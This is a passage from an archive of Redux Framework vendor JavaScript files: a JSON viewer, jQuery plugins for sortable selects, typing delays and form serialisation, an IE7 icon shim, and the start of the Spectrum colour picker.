t!==undefined)if(t.indexOf("#")!==-1)this.targetType="id",this.target=t.replace("#","");else{if(e.indexOf(".")===-1){this.debug&&console.log("Can't find the target element");return}this.targetType="class",this.target=t.replace(".","")}/^\<pre.*\>(.*)\<\/pre\>$/.test(this.data)&&(this.debug&&console.log("JSONView: data is wrapped in <pre>...</pre>, stripping HTML..."),this.data=this.data.replace(/<(?:.|\s)*?>/g,""));var n=/^\s*([\[\{].*[\}\]])\s*$/,r=/^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/,i=/([\[\{][\s\S]*[\]\}])\)/,s=n.test(this.data),o=r.test(this.data);this.debug&&console.log("JSONView: is_json="+s+" is_jsonp="+o);if(s||o){this.debug&&console.log("JSONView: sexytime!");function u(){}u.prototype={htmlEncode:function(e){return e!=null?e.toString().replace(/&/g,"&").replace(/"/g,""").replace(/</g,"<").replace(/>/g,">"):""},decorateWithSpan:function(e,t){return'<span class="'+t+'">'+this.htmlEncode(e)+"</span>"},valueToHTML:function(e){var t=typeof e,n="";return e===null?n+=this.decorateWithSpan("null","null"):e&&e.constructor===Array?n+=this.arrayToHTML(e):t==="object"?n+=this.objectToHTML(e):t==="number"?n+=this.decorateWithSpan(e,"num"):t==="string"?/^(http|https):\/\/[^\s]+$/.test(e)?n+='<a href="'+e+'">'+this.htmlEncode(e)+"</a>":n+=this.decorateWithSpan('"'+e+'"',"string"):t==="boolean"&&(n+=this.decorateWithSpan(e,"bool")),n},arrayToHTML:function(e){var t='[<ul class="array collapsible">',n=!1;for(var r in e)n=!0,t+="<li>",t+=this.valueToHTML(e[r]),t+="</li>";return t+="</ul>]",n||(t="[ ]"),t},objectToHTML:function(e){var t='{<ul class="obj collapsible">',n=!1;for(var r in e)n=!0,t+="<li>",t+='<span class="prop">'+this.htmlEncode(r)+"</span>: ",t+=this.valueToHTML(e[r]),t+="</li>";return t+="</ul>}",n||(t="{ }"),t},jsonToHTML:function(e,t,n){var r="";return t?(r+='<div class="callback">'+t+" (</div>",r+='<div id="json">'):r+='<div id="json">',r+=this.valueToHTML(e),r+="</div>",t&&(r+='<div class="callback">)</div>'),this.toHTML(r,n)},errorPage:function(e,t,n){var r='<div id="error">Error parsing JSON: '+e.message+"</div>";return r+="<h1>"+e.stack+":</h1>",r+='<div id="json">'+this.htmlEncode(t)+"</div>",this.toHTML(r,n+" - Error")},toHTML:function(e){return e}},this.jsonFormatter=new u;var a="",f="",l="",c=r.exec(this.data);c&&c.length===3?(this.debug&&console.log("THIS IS JSONp"),l=c[1],f=c[2]):(this.debug&&console.log("Vanilla JSON"),f=this.data),this.debug&&console.log(f);try{var h=JSON.parse(f);if(!h)throw"There was no object!";a=this.jsonFormatter.jsonToHTML(h,l)}catch(p){this.debug&&console.log(p),a=this.jsonFormatter.errorPage(p,this.data)}var d="<style type=\"text/css\">.jsonViewOutput .prop{font-weight:700;}.jsonViewOutput .null{color:red;}.jsonViewOutput .string{color:green;}.jsonViewOutput .collapser{position:absolute;left:-1em;cursor:pointer;}.jsonViewOutput li{position:relative;}.jsonViewOutput li:after{content:',';}.jsonViewOutput li:last-child:after{content:'';}.jsonViewOutput #error{-moz-border-radius:8px;border:1px solid #970000;background-color:#F7E8E8;margin:.5em;padding:.5em;}.jsonViewOutput .errormessage{font-family:monospace;}.jsonViewOutput #json{font-family:monospace;font-size:1.1em;}.jsonViewOutput ul{list-style:none;margin:0 0 0 2em;padding:0;}.jsonViewOutput h1{font-size:1.2em;}.jsonViewOutput .callback + #json{padding-left:1em;}.jsonViewOutput .callback{font-family:monospace;color:#A52A2A;}.jsonViewOutput .bool,.jsonViewOutput .num{color:blue;}</style>";this.targetType!==undefined&&(this.idType=this.targetType,this.id=this.target);var v;this.idType==="class"?(v=document.getElementsByClassName(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a)):this.idType==="id"&&(v=document.getElementById(this.id),v&&(v.className+=v.className?" jsonViewOutput":"jsonViewOutput",v.innerHTML=d+a),v.innerHTML=d+a);var m=document.getElementsByClassName("collapsible");for(var g=0;g<m.length;g++)addCollapser(m[g].parentNode)}};����������������������������������������redux-framework/assets/js/vendor/redux.select2.sortable.min.js��������������������������������������0000644�����������������00000003543�14720701300�0020521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(o){o.fn.extend({select2SortableOrder:function(){var e=this.filter("[multiple]");return e.each(function(){var t=o(this);if("object"!=typeof t.data("select2"))return!1;var e,s=t.siblings(".select2-container"),i=[];t.find("optgroup").each(function(e,t){i.push(t)}),t.find("option").each(function(e,t){void 0===o(this).parent("optgroup").prop("label")&&(""===this.value||this.selected||i.push(this))}),(e=o(s.find('.select2-choices li[class!="select2-search-field"]').map(function(){if(this&&null!=o(this).data("select2Data")){var e=o(this).data("select2Data").id;return t.find('option[value="'+e+'"]')[0]}}))).push.apply(e,i),t.children().remove(),t.append(e)}),e},select2Sortable:function(){var e=Array.prototype.slice.call(arguments,0);if($this=this.filter("[multiple]"),validMethods=["destroy"],0===e.length||"object"==typeof e[0]){var t=o.extend({bindOrder:"formSubmit",sortableOptions:{placeholder:"ui-state-highlight",items:"li:not(.select2-search-field)",tolerance:"pointer"}},e[0]);"object"!=typeof $this.data("select2")&&$this.select2(),$this.each(function(){var s=o(this),e=s.siblings(".select2-container").find(".select2-choices");switch(e.sortable(t.sortableOptions),t.bindOrder){case"sortableStop":e.on("sortstop.select2sortable",function(e,t){s.select2SortableOrder()}),s.on("change",function(e){o(this).select2SortableOrder()});break;default:s.closest("form").unbind("submit.select2sortable").on("submit.select2sortable",function(){s.select2SortableOrder()})}})}else{if(e[0],-1==o.inArray(e[0],validMethods))throw"Unknown method: "+e[0];"destroy"===e[0]&&$this.select2SortableDestroy()}return $this},select2SortableDestroy:function(){var e=this.filter("[multiple]");return e.each(function(){var e=o(this),t=e.parent().find(".select2-choices");e.closest("form").unbind("submit.select2sortable"),t.unbind("sortstop.select2sortable"),t.sortable("destroy")}),e}})}(jQuery);�������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/jquery.typewatch.js������������������������������������������������0000644�����������������00000004764�14720701300�0016772 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * TypeWatch 2.2 * * Examples/Docs: github.com/dennyferra/TypeWatch * * Copyright(c) 2013 * Denny Ferrassoli - dennyferra.com * Charles Christolini * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ (function(jQuery) { jQuery.fn.typeWatch = function(o) { // The default input types that are supported var _supportedInputTypes = ['TEXT', 'TEXTAREA', 'PASSWORD', 'TEL', 'SEARCH', 'URL', 'EMAIL', 'DATETIME', 'DATE', 'MONTH', 'WEEK', 'TIME', 'DATETIME-LOCAL', 'NUMBER', 'RANGE']; // Options var options = jQuery.extend({ wait: 750, callback: function() { }, highlight: true, captureLength: 2, inputTypes: _supportedInputTypes }, o); function checkElement(timer, override) { var value = jQuery(timer.el).val(); // Fire if text >= options.captureLength AND text != saved text OR if override AND text >= options.captureLength if ((value.length >= options.captureLength && value.toUpperCase() != timer.text) || (override && value.length >= options.captureLength)) { timer.text = value.toUpperCase(); timer.cb.call(timer.el, value); } }; function watchElement(elem) { var elementType = elem.type.toUpperCase(); if (jQuery.inArray(elementType, options.inputTypes) >= 0) { // Allocate timer element var timer = { timer: null, text: jQuery(elem).val().toUpperCase(), cb: options.callback, el: elem, wait: options.wait }; // Set focus action (highlight) if (options.highlight) { jQuery(elem).focus( function() { this.select(); }); } // Key watcher / clear and reset the timer var startWatch = function(evt) { var timerWait = timer.wait; var overrideBool = false; var evtElementType = this.type.toUpperCase(); // If enter key is pressed and not a TEXTAREA and matched inputTypes if (typeof evt.keyCode != 'undefined' && evt.keyCode == 13 && evtElementType != 'TEXTAREA' && jQuery.inArray(evtElementType, options.inputTypes) >= 0) { timerWait = 1; overrideBool = true; } var timerCallbackFx = function() { checkElement(timer, overrideBool) } // Clear timer clearTimeout(timer.timer); timer.timer = setTimeout(timerCallbackFx, timerWait); }; jQuery(elem).on('keydown paste cut input', startWatch); } }; // Watch Each Element return this.each(function() { watchElement(this); }); }; })(jQuery);������������redux-framework/assets/js/vendor/jquery.serializeForm.js��������������������������������������������0000644�����������������00000003172�14720701300�0017565 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * serializeForm * https://github.com/danheberden/serializeForm * * Copyright (c) 2012 Dan Heberden * Licensed under the MIT, GPL licenses. */ (function( $ ){ $.fn.serializeForm = function() { // don't do anything if we didn't get any elements if ( this.length < 1) { return false; } var data = {}; var lookup = data; //current reference of data var selector = ':input[type!="checkbox"][type!="radio"], input:checked'; var parse = function() { // Ignore disabled elements if (this.disabled) { return; } // data[a][b] becomes [ data, a, b ] var named = this.name.replace(/\[([^\]]+)?\]/g, ',$1').split(','); var cap = named.length - 1; var $el = $( this ); // Ensure that only elements with valid `name` properties will be serialized if ( named[ 0 ] ) { for ( var i = 0; i < cap; i++ ) { // move down the tree - create objects or array if necessary lookup = lookup[ named[i] ] = lookup[ named[i] ] || ( (named[ i + 1 ] === "" || named[ i + 1 ] === '0') ? [] : {} ); } // at the end, push or assign the value if ( lookup.length !== undefined ) { lookup.push( $el.val() ); }else { lookup[ named[ cap ] ] = $el.val(); } // assign the reference back to root lookup = data; } }; // first, check for elements passed into this function this.filter( selector ).each( parse ); // then parse possible child elements this.find( selector ).each( parse ); // return data return data; }; }( jQuery ));������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/lte-ie7.js���������������������������������������������������������0000644�����������������00000023472�14720701300�0014707 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Load this script using conditional IE comments if you need to support IE 7 and IE 6. */ window.onload = function() { function addIcon(el, entity) { var html = el.innerHTML; el.innerHTML = '<span style="font-family: \'Elusive-Icons\'">' + entity + '</span>' + html; } var icons = { 'icon-move' : '', 'icon-music' : '', 'icon-network' : '', 'icon-off' : '', 'icon-ok' : '', 'icon-ok-circle' : '', 'icon-ok-sign' : '', 'icon-paper-clip' : '', 'icon-paper-clip-alt' : '', 'icon-path' : '', 'icon-plus-sign' : '', 'icon-print' : '', 'icon-qrcode' : '', 'icon-question' : '', 'icon-question-sign' : '', 'icon-quotes' : '', 'icon-quotes-alt' : '', 'icon-random' : '', 'icon-record' : '', 'icon-reddit' : '', 'icon-refresh' : '', 'icon-screenshot' : '', 'icon-search' : '', 'icon-search-alt' : '', 'icon-share' : '', 'icon-share-alt' : '', 'icon-shopping-cart' : '', 'icon-shopping-cart-sign' : '', 'icon-signal' : '', 'icon-skype' : '', 'icon-slideshare' : '', 'icon-smiley' : '', 'icon-th-large' : '', 'icon-th-list' : '', 'icon-thumbs-down' : '', 'icon-thumbs-up' : '', 'icon-time' : '', 'icon-time-alt' : '', 'icon-tint' : '', 'icon-torso' : '', 'icon-trash' : '', 'icon-trash-alt' : '', 'icon-tumblr' : '', 'icon-w3c' : '', 'icon-warning-sign' : '', 'icon-website' : '', 'icon-website-alt' : '', 'icon-wheelchair' : '', 'icon-wordpress' : '', 'icon-wrench' : '', 'icon-wrench-alt' : '', 'icon-youtube' : '', 'icon-zoom-in' : '', 'icon-zoom-out' : '', 'icon-pause-alt' : '', 'icon-pencil' : '', 'icon-pencil-alt' : '', 'icon-person' : '', 'icon-phone' : '', 'icon-phone-alt' : '', 'icon-photo' : '', 'icon-photo-alt' : '', 'icon-picasa' : '', 'icon-picture' : '', 'icon-pinterest' : '', 'icon-plane' : '', 'icon-play-alt' : '', 'icon-play-circle' : '', 'icon-plus' : '', 'icon-remove' : '', 'icon-remove-circle' : '', 'icon-remove-sign' : '', 'icon-repeat' : '', 'icon-repeat-alt' : '', 'icon-resize-full' : '', 'icon-resize-horizontal' : '', 'icon-resize-small' : '', 'icon-resize-vertical' : '', 'icon-retweet' : '', 'icon-reverse-alt' : '', 'icon-road' : '', 'icon-rss' : '', 'icon-screen' : '', 'icon-screen-alt' : '', 'icon-smiley-alt' : '', 'icon-speaker' : '', 'icon-stackoverflow' : '', 'icon-star' : '', 'icon-star-alt' : '', 'icon-star-empty' : '', 'icon-stop-alt' : '', 'icon-stumbleupon' : '', 'icon-tag' : '', 'icon-tags' : '', 'icon-tasks' : '', 'icon-text-height' : '', 'icon-text-width' : '', 'icon-th' : '', 'icon-twitter' : '', 'icon-universal-access' : '', 'icon-unlock' : '', 'icon-unlock-alt' : '', 'icon-upload' : '', 'icon-user' : '', 'icon-video' : '', 'icon-video-alt' : '', 'icon-video-chat' : '', 'icon-view-mode' : '', 'icon-vimeo' : '', 'icon-vkontakte' : '', 'icon-volume-down' : '', 'icon-volume-off' : '', 'icon-volume-up' : '', 'icon-backward' : '', 'icon-fast-backward' : '', 'icon-fast-forward' : '', 'icon-forward' : '', 'icon-play' : '', 'icon-step-backward' : '', 'icon-step-forward' : '', 'icon-briefcase' : '', 'icon-bullhorn' : '', 'icon-calendar' : '', 'icon-calendar-sign' : '', 'icon-address-book' : '', 'icon-address-book-alt' : '', 'icon-adjust' : '', 'icon-adult' : '', 'icon-align-center' : '', 'icon-align-justify' : '', 'icon-align-left' : '', 'icon-align-right' : '', 'icon-arrow-down' : '', 'icon-arrow-left' : '', 'icon-arrow-right' : '', 'icon-arrow-up' : '', 'icon-asl' : '', 'icon-asterisk' : '', 'icon-ban-circle' : '', 'icon-barcode' : '', 'icon-behance' : '', 'icon-bell' : '', 'icon-blind' : '', 'icon-blogger' : '', 'icon-bold' : '', 'icon-book' : '', 'icon-bookmark' : '', 'icon-bookmark-empty' : '', 'icon-braille' : '', 'icon-camera' : '', 'icon-cc' : '', 'icon-certificate' : '', 'icon-check' : '', 'icon-check-empty' : '', 'icon-chevron-down' : '', 'icon-chevron-left' : '', 'icon-chevron-right' : '', 'icon-chevron-up' : '', 'icon-child' : '', 'icon-circle-arrow-down' : '', 'icon-circle-arrow-left' : '', 'icon-circle-arrow-right' : '', 'icon-circle-arrow-up' : '', 'icon-cloud' : '', 'icon-cloud-alt' : '', 'icon-cog' : '', 'icon-cog-alt' : '', 'icon-cogs' : '', 'icon-comment' : '', 'icon-comment-alt' : '', 'icon-compass' : '', 'icon-compass-alt' : '', 'icon-credit-card' : '', 'icon-css' : '', 'icon-dashboard' : '', 'icon-delicious' : '', 'icon-deviantart' : '', 'icon-digg' : '', 'icon-download' : '', 'icon-download-alt' : '', 'icon-dribble' : '', 'icon-edit' : '', 'icon-eject' : '', 'icon-envelope' : '', 'icon-envelope-alt' : '', 'icon-error' : '', 'icon-error-alt' : '', 'icon-exclamation-sign' : '', 'icon-eye-close' : '', 'icon-eye-open' : '', 'icon-facebook' : '', 'icon-facetime-video' : '', 'icon-female' : '', 'icon-file' : '', 'icon-file-alt' : '', 'icon-file-edit' : '', 'icon-file-edit-alt' : '', 'icon-file-new' : '', 'icon-file-new-alt' : '', 'icon-film' : '', 'icon-filter' : '', 'icon-fire' : '', 'icon-flag' : '', 'icon-flag-alt' : '', 'icon-flickr' : '', 'icon-folder' : '', 'icon-folder-close' : '', 'icon-folder-open' : '', 'icon-folder-sign' : '', 'icon-font' : '', 'icon-fontsize' : '', 'icon-forward-alt' : '', 'icon-foursquare' : '', 'icon-friendfeed' : '', 'icon-friendfeed-rect' : '', 'icon-fullscreen' : '', 'icon-gift' : '', 'icon-github' : '', 'icon-github-text' : '', 'icon-glass' : '', 'icon-glasses' : '', 'icon-globe' : '', 'icon-globe-alt' : '', 'icon-googleplus' : '', 'icon-graph' : '', 'icon-graph-alt' : '', 'icon-group' : '', 'icon-group-alt' : '', 'icon-guidedog' : '', 'icon-hand-down' : '', 'icon-hand-left' : '', 'icon-hand-right' : '', 'icon-hand-up' : '', 'icon-hdd' : '', 'icon-headphones' : '', 'icon-hearing-impaired' : '', 'icon-heart' : '', 'icon-heart-alt' : '', 'icon-heart-empty' : '', 'icon-home' : '', 'icon-home-alt' : '', 'icon-idea' : '', 'icon-idea-alt' : '', 'icon-inbox' : '', 'icon-inbox-alt' : '', 'icon-inbox-box' : '', 'icon-indent-left' : '', 'icon-indent-right' : '', 'icon-info-sign' : '', 'icon-instagram' : '', 'icon-iphone-home' : '', 'icon-italic' : '', 'icon-key' : '', 'icon-laptop' : '', 'icon-laptop-alt' : '', 'icon-leaf' : '', 'icon-linkedin' : '', 'icon-list' : '', 'icon-list-alt' : '', 'icon-lock' : '', 'icon-lock-alt' : '', 'icon-magnet' : '', 'icon-male' : '', 'icon-map-marker' : '', 'icon-map-marker-alt' : '', 'icon-mic' : '', 'icon-mic-alt' : '', 'icon-minus' : '', 'icon-minus-sign' : '', 'icon-pause' : '', 'icon-fork' : '', 'icon-broom' : '', 'icon-return-key' : '', 'icon-lastfm' : '', 'icon-livejournal' : '', 'icon-myspace' : '', 'icon-soundcloud' : '', 'icon-viadeo' : '', 'icon-spotify' : '', 'icon-caret-left' : '', 'icon-caret-up' : '', 'icon-caret-right' : '', 'icon-caret-down' : '', 'icon-stop' : '' }, els = document.getElementsByTagName('*'), i, attr, html, c, el; for (i = 0; ; i += 1) { el = els[i]; if(!el) { break; } attr = el.getAttribute('data-icon'); if (attr) { addIcon(el, attr); } c = el.className; c = c.match(/icon-[^\s'"]+/); if (c && icons[c[0]]) { addIcon(el, icons[c[0]]); } } };������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/jsonview.js��������������������������������������������������������0000644�����������������00000025115�14720701300�0015301 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� /* global console, jsonView */ /* * ViewJSON * Version 1.0 * A Google Chrome extension to display JSON in a user-friendly format * * This is a chromeified version of the JSONView Firefox extension by Ben Hollis: * http://jsonview.com * http://code.google.com/p/jsonview * * Also based on the XMLTree Chrome extension by Moonty & alan.stroop * https://chrome.google.com/extensions/detail/gbammbheopgpmaagmckhpjbfgdfkpadb * * port by Jamie Wilkinson (@jamiew) | http://jamiedubs.com | http://github.com/jamiew * MIT license / copyfree (f) F.A.T. Lab http://fffff.at * Speed Project Approved: 2h */ function collapse(evt) { var collapser = evt.target; var target = collapser.parentNode.getElementsByClassName('collapsible'); if (!target.length) { return; } target = target[0]; if (target.style.display === 'none') { var ellipsis = target.parentNode.getElementsByClassName('ellipsis')[0]; target.parentNode.removeChild(ellipsis); target.style.display = ''; } else { target.style.display = 'none'; var ellipsis = document.createElement('span'); ellipsis.className = 'ellipsis'; ellipsis.innerHTML = ' … '; target.parentNode.insertBefore(ellipsis, target); } collapser.innerHTML = (collapser.innerHTML === '-') ? '+' : '-'; } function addCollapser(item) { // This mainly filters out the root object (which shouldn't be collapsible) if (item.nodeName !== 'LI') { return; } var collapser = document.createElement('div'); collapser.className = 'collapser'; collapser.innerHTML = '-'; collapser.addEventListener('click', collapse, false); item.insertBefore(collapser, item.firstChild); } function jsonView(id, target) { this.debug = false; if (id.indexOf("#") !== -1) { this.idType = "id"; this.id = id.replace('#', ''); } else if (id.indexOf(".") !== -1) { this.idType = "class"; this.id = id.replace('.', ''); } else { if (this.debug) { console.log("Can't find that element"); } return; } this.data = document.getElementById(this.id).innerHTML; if (typeof(target) !== undefined) { if (target.indexOf("#") !== -1) { this.targetType = "id"; this.target = target.replace('#', ''); } else if (id.indexOf(".") !== -1) { this.targetType = "class"; this.target = target.replace('.', ''); } else { if (this.debug) { console.log("Can't find the target element"); } return; } } // Note: now using "*.json*" URI matching rather than these page regexes -- save CPU cycles! // var is_json = /^\s*(\{.*\})\s*$/.test(this.data); // var is_jsonp = /^.*\(\s*(\{.*\})\s*\)$/.test(this.data); // if(is_json || is_jsonp){ // Our manifest specifies that we only do URLs matching '.json', so attempt to sanitize any HTML // added by Chrome's "text/plain" or "text/html" handlers if (/^\<pre.*\>(.*)\<\/pre\>$/.test(this.data)) { if (this.debug) { console.log("JSONView: data is wrapped in <pre>...</pre>, stripping HTML..."); } this.data = this.data.replace(/<(?:.|\s)*?>/g, ''); //Aggressively strip HTML. } // Test if what remains is JSON or JSONp var json_regex = /^\s*([\[\{].*[\}\]])\s*$/; // Ghetto, but it works var jsonp_regex = /^[\s\u200B\uFEFF]*([\w$\[\]\.]+)[\s\u200B\uFEFF]*\([\s\u200B\uFEFF]*([\[{][\s\S]*[\]}])[\s\u200B\uFEFF]*\);?[\s\u200B\uFEFF]*$/; var jsonp_regex2 = /([\[\{][\s\S]*[\]\}])\)/; // more liberal support... this allows us to pass the jsonp.json & jsonp2.json tests var is_json = json_regex.test(this.data); var is_jsonp = jsonp_regex.test(this.data); if (this.debug) { console.log("JSONView: is_json=" + is_json + " is_jsonp=" + is_jsonp); } if (is_json || is_jsonp) { if (this.debug) { console.log("JSONView: sexytime!"); } // JSONFormatter json->HTML prototype straight from Firefox JSONView // For reference: http://code.google.com/p/jsonview function JSONFormatter() { // No magic required. } JSONFormatter.prototype = { htmlEncode: function(t) { return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">") : ''; }, decorateWithSpan: function(value, className) { return '<span class="' + className + '">' + this.htmlEncode(value) + '</span>'; }, // Convert a basic JSON datatype (number, string, boolean, null, object, array) into an HTML fragment. valueToHTML: function(value) { var valueType = typeof value; var output = ""; if (value === null) { output += this.decorateWithSpan('null', 'null'); } else if (value && value.constructor === Array) { output += this.arrayToHTML(value); } else if (valueType === 'object') { output += this.objectToHTML(value); } else if (valueType === 'number') { output += this.decorateWithSpan(value, 'num'); } else if (valueType === 'string') { if (/^(http|https):\/\/[^\s]+$/.test(value)) { output += '<a href="' + value + '">' + this.htmlEncode(value) + '</a>'; } else { output += this.decorateWithSpan('"' + value + '"', 'string'); } } else if (valueType === 'boolean') { output += this.decorateWithSpan(value, 'bool'); } return output; }, // Convert an array into an HTML fragment arrayToHTML: function(json) { var output = '[<ul class="array collapsible">'; var hasContents = false; for (var prop in json) { hasContents = true; output += '<li>'; output += this.valueToHTML(json[prop]); output += '</li>'; } output += '</ul>]'; if (!hasContents) { output = "[ ]"; } return output; }, // Convert a JSON object to an HTML fragment objectToHTML: function(json) { var output = '{<ul class="obj collapsible">'; var hasContents = false; for (var prop in json) { hasContents = true; output += '<li>'; output += '<span class="prop">' + this.htmlEncode(prop) + '</span>: '; output += this.valueToHTML(json[prop]); output += '</li>'; } output += '</ul>}'; if (!hasContents) { output = "{ }"; } return output; }, // Convert a whole JSON object into a formatted HTML document. jsonToHTML: function(json, callback, uri) { var output = ''; if (callback) { output += '<div class="callback">' + callback + ' (</div>'; output += '<div id="json">'; } else { output += '<div id="json">'; } output += this.valueToHTML(json); output += '</div>'; if (callback) { output += '<div class="callback">)</div>'; } return this.toHTML(output, uri); }, // Produce an error document for when parsing fails. errorPage: function(error, data, uri) { // var output = '<div id="error">' + this.stringbundle.GetStringFromName('errorParsing') + '</div>'; // output += '<h1>' + this.stringbundle.GetStringFromName('docContents') + ':</h1>'; var output = '<div id="error">Error parsing JSON: ' + error.message + '</div>'; output += '<h1>' + error.stack + ':</h1>'; output += '<div id="json">' + this.htmlEncode(data) + '</div>'; return this.toHTML(output, uri + ' - Error'); }, // Wrap the HTML fragment in a full document. Used by jsonToHTML and errorPage. toHTML: function(content) { return content; } }; // Sanitize & output -- all magic from JSONView Firefox this.jsonFormatter = new JSONFormatter(); // This regex attempts to match a JSONP structure: // * Any amount of whitespace (including unicode nonbreaking spaces) between the start of the file and the callback name // * Callback name (any valid JavaScript function name according to ECMA-262 Edition 3 spec) // * Any amount of whitespace (including unicode nonbreaking spaces) // * Open parentheses // * Any amount of whitespace (including unicode nonbreaking spaces) // * Either { or [, the only two valid characters to start a JSON string. // * Any character, any number of times // * Either } or ], the only two valid closing characters of a JSON string. // * Any amount of whitespace (including unicode nonbreaking spaces) // * A closing parenthesis, an optional semicolon, and any amount of whitespace (including unicode nonbreaking spaces) until the end of the file. // This will miss anything that has comments, or more than one callback, or requires modification before use. var outputDoc = ''; // text = text.match(jsonp_regex)[1]; var cleanData = '', callback = ''; var callback_results = jsonp_regex.exec(this.data); if (callback_results && callback_results.length === 3) { if (this.debug) { console.log("THIS IS JSONp"); } callback = callback_results[1]; cleanData = callback_results[2]; } else { if (this.debug) { console.log("Vanilla JSON"); } cleanData = this.data; } if (this.debug) { console.log(cleanData); } // Covert, and catch exceptions on failure try { // var jsonObj = this.nativeJSON.decode(cleanData); var jsonObj = JSON.parse(cleanData); if (jsonObj) { outputDoc = this.jsonFormatter.jsonToHTML(jsonObj, callback); } else { throw "There was no object!"; } } catch (e) { if (this.debug) { console.log(e); } outputDoc = this.jsonFormatter.errorPage(e, this.data); } var links = '<style type="text/css">.jsonViewOutput .prop{font-weight:700;}.jsonViewOutput .null{color:red;}.jsonViewOutput .string{color:green;}.jsonViewOutput .collapser{position:absolute;left:-1em;cursor:pointer;}.jsonViewOutput li{position:relative;}.jsonViewOutput li:after{content:\',\';}.jsonViewOutput li:last-child:after{content:\'\';}.jsonViewOutput #error{-moz-border-radius:8px;border:1px solid #970000;background-color:#F7E8E8;margin:.5em;padding:.5em;}.jsonViewOutput .errormessage{font-family:monospace;}.jsonViewOutput #json{font-family:monospace;font-size:1.1em;}.jsonViewOutput ul{list-style:none;margin:0 0 0 2em;padding:0;}.jsonViewOutput h1{font-size:1.2em;}.jsonViewOutput .callback + #json{padding-left:1em;}.jsonViewOutput .callback{font-family:monospace;color:#A52A2A;}.jsonViewOutput .bool,.jsonViewOutput .num{color:blue;}</style>'; if (this.targetType !== undefined) { this.idType = this.targetType; this.id = this.target; } var el; if (this.idType === "class") { el = document.getElementsByClassName(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } } else if (this.idType === "id") { el = document.getElementById(this.id); if (el) { el.className += el.className ? ' jsonViewOutput' : 'jsonViewOutput'; el.innerHTML = links + outputDoc; } el.innerHTML = links + outputDoc; } var items = document.getElementsByClassName('collapsible'); for (var i = 0; i < items.length; i++) { addCollapser(items[i].parentNode); } } else { // console.log("JSONView: this is not json, not formatting."); } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/spectrum/redux-spectrum.js�����������������������������������������0000644�����������������00000213551�14720701300�0020271 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������// Spectrum Colorpicker v1.3.3 // https://github.com/bgrins/spectrum // Author: Brian Grinstead // License: MIT (function (window, $, undefined) { var defaultOpts = { // Callbacks beforeShow: noop, move: noop, change: noop, show: noop, hide: noop, // Options color: false, flat: false, showInput: false, allowEmpty: false, showButtons: true, clickoutFiresChange: false, showInitial: false, showPalette: false, showPaletteOnly: false, showSelectionPalette: true, localStorageKey: false, appendTo: "body", maxSelectionSize: 7, cancelText: "cancel", chooseText: "choose", clearText: "Clear Color Selection", preferredFormat: false, className: "", // Deprecated - use containerClassName and replacerClassName instead. containerClassName: "", replacerClassName: "", showAlpha: false, theme: "sp-light", palette: [["#ffffff", "#000000", "#ff0000", "#ff8000", "#ffff00", "#008000", "#0000ff", "#4b0082", "#9400d3"]], selectionPalette: [], disabled: false, inputText: '' }, spectrums = [], IE = !!/msie/i.exec( window.navigator.userAgent ), rgbaSupport = (function() { function contains( str, substr ) { return !!~('' + str).indexOf(substr); } var elem = document.createElement('div'); var style = elem.style; style.cssText = 'background-color:rgba(0,0,0,.5)'; return contains(style.backgroundColor, 'rgba') || contains(style.backgroundColor, 'hsla'); })(), inputTypeColorSupport = (function() { var colorInput = $("<input type='color' value='#ffffff' />")[0]; return colorInput.type === "color" && colorInput.value !== "#ffffff"; })(), replaceInput = [ "<div class='sp-replacer'>", "<div class='sp-preview'><div class='sp-preview-inner'></div></div>", "<div class='sp-dd'>▼</div>", //"<div class='sp-dd'>" + opts.inputText + "</div>", "</div>" ].join(''), markup = (function () { // IE does not support gradients with multiple stops, so we need to simulate // that for the rainbow slider with 8 divs that each have a single gradient var gradientFix = ""; if (IE) { for (var i = 1; i <= 6; i++) { gradientFix += "<div class='sp-" + i + "'></div>"; } } return [ "<div class='sp-container sp-hidden'>", "<div class='sp-palette-container'>", "<div class='sp-palette sp-thumb sp-cf'></div>", "</div>", "<div class='sp-picker-container'>", "<div class='sp-top sp-cf'>", "<div class='sp-fill'></div>", "<div class='sp-top-inner'>", "<div class='sp-color'>", "<div class='sp-sat'>", "<div class='sp-val'>", "<div class='sp-dragger'></div>", "</div>", "</div>", "</div>", "<div class='sp-clear sp-clear-display'>", "</div>", "<div class='sp-hue'>", "<div class='sp-slider'></div>", gradientFix, "</div>", "</div>", "<div class='sp-alpha'><div class='sp-alpha-inner'><div class='sp-alpha-handle'></div></div></div>", "</div>", "<div class='sp-input-container sp-cf'>", "<input class='sp-input' type='text' spellcheck='false' />", "</div>", "<div class='sp-initial sp-thumb sp-cf'></div>", "<div class='sp-button-container sp-cf'>", "<a class='sp-cancel' href='#'></a>", "<button type='button' class='sp-choose'></button>", "</div>", "</div>", "</div>" ].join(""); })(); function paletteTemplate (p, color, className, tooltipFormat) { var html = []; for (var i = 0; i < 